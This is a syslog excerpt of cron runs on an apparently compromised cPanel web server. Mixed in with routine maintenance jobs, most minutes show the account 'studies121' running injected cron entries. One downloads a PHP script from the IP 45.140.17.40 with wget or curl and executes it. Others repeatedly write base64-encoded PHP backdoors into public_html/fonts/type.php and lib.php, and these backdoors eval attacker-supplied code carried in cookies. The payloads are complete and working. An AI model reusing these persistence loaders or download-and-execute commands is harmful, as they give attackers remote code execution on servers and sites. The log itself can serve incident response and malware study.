Sep  9 01:46:01 ip-184-168-122-23 CROND[22843]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:46:01 ip-184-168-122-23 CROND[22848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:46:01 ip-184-168-122-23 CROND[22846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:46:01 ip-184-168-122-23 CROND[22849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:46:01 ip-184-168-122-23 CROND[22847]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 01:46:01 ip-184-168-122-23 CROND[22845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:47:01 ip-184-168-122-23 CROND[22968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:47:01 ip-184-168-122-23 CROND[22969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:47:01 ip-184-168-122-23 CROND[22970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:47:01 ip-184-168-122-23 CROND[22972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:48:01 ip-184-168-122-23 CROND[23056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:48:01 ip-184-168-122-23 CROND[23058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:48:01 ip-184-168-122-23 CROND[23060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:48:01 ip-184-168-122-23 CROND[23059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:48:01 ip-184-168-122-23 CROND[23062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:49:01 ip-184-168-122-23 CROND[23152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:49:01 ip-184-168-122-23 CROND[23154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:49:01 ip-184-168-122-23 CROND[23156]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  9 01:49:01 ip-184-168-122-23 CROND[23155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:49:01 ip-184-168-122-23 CROND[23157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:50:01 ip-184-168-122-23 CROND[23271]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 01:50:01 ip-184-168-122-23 CROND[23275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:50:01 ip-184-168-122-23 CROND[23276]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:50:01 ip-184-168-122-23 CROND[23280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:50:01 ip-184-168-122-23 CROND[23281]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:50:01 ip-184-168-122-23 CROND[23279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:50:01 ip-184-168-122-23 CROND[23283]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 01:50:01 ip-184-168-122-23 CROND[23284]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:50:01 ip-184-168-122-23 CROND[23285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:51:01 ip-184-168-122-23 CROND[23534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:51:01 ip-184-168-122-23 CROND[23537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:51:01 ip-184-168-122-23 CROND[23539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:51:01 ip-184-168-122-23 CROND[23536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:52:01 ip-184-168-122-23 CROND[23627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:52:01 ip-184-168-122-23 CROND[23629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:52:01 ip-184-168-122-23 CROND[23630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:52:01 ip-184-168-122-23 CROND[23632]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:52:01 ip-184-168-122-23 CROND[23634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:53:01 ip-184-168-122-23 CROND[23876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:53:01 ip-184-168-122-23 CROND[23878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:53:01 ip-184-168-122-23 CROND[23879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:53:01 ip-184-168-122-23 CROND[23880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:54:01 ip-184-168-122-23 CROND[24008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:54:01 ip-184-168-122-23 CROND[24009]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:54:01 ip-184-168-122-23 CROND[24012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:54:01 ip-184-168-122-23 CROND[24014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:54:01 ip-184-168-122-23 CROND[24013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:55:01 ip-184-168-122-23 CROND[24251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:55:01 ip-184-168-122-23 CROND[24253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:55:01 ip-184-168-122-23 CROND[24255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:55:01 ip-184-168-122-23 CROND[24256]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:55:01 ip-184-168-122-23 CROND[24254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:55:01 ip-184-168-122-23 CROND[24257]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:56:01 ip-184-168-122-23 CROND[24343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:56:01 ip-184-168-122-23 CROND[24347]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:56:01 ip-184-168-122-23 CROND[24345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:56:01 ip-184-168-122-23 CROND[24348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:56:01 ip-184-168-122-23 CROND[24346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:57:01 ip-184-168-122-23 CROND[24515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:57:01 ip-184-168-122-23 CROND[24516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:57:01 ip-184-168-122-23 CROND[24518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:57:01 ip-184-168-122-23 CROND[24519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:58:01 ip-184-168-122-23 CROND[24598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
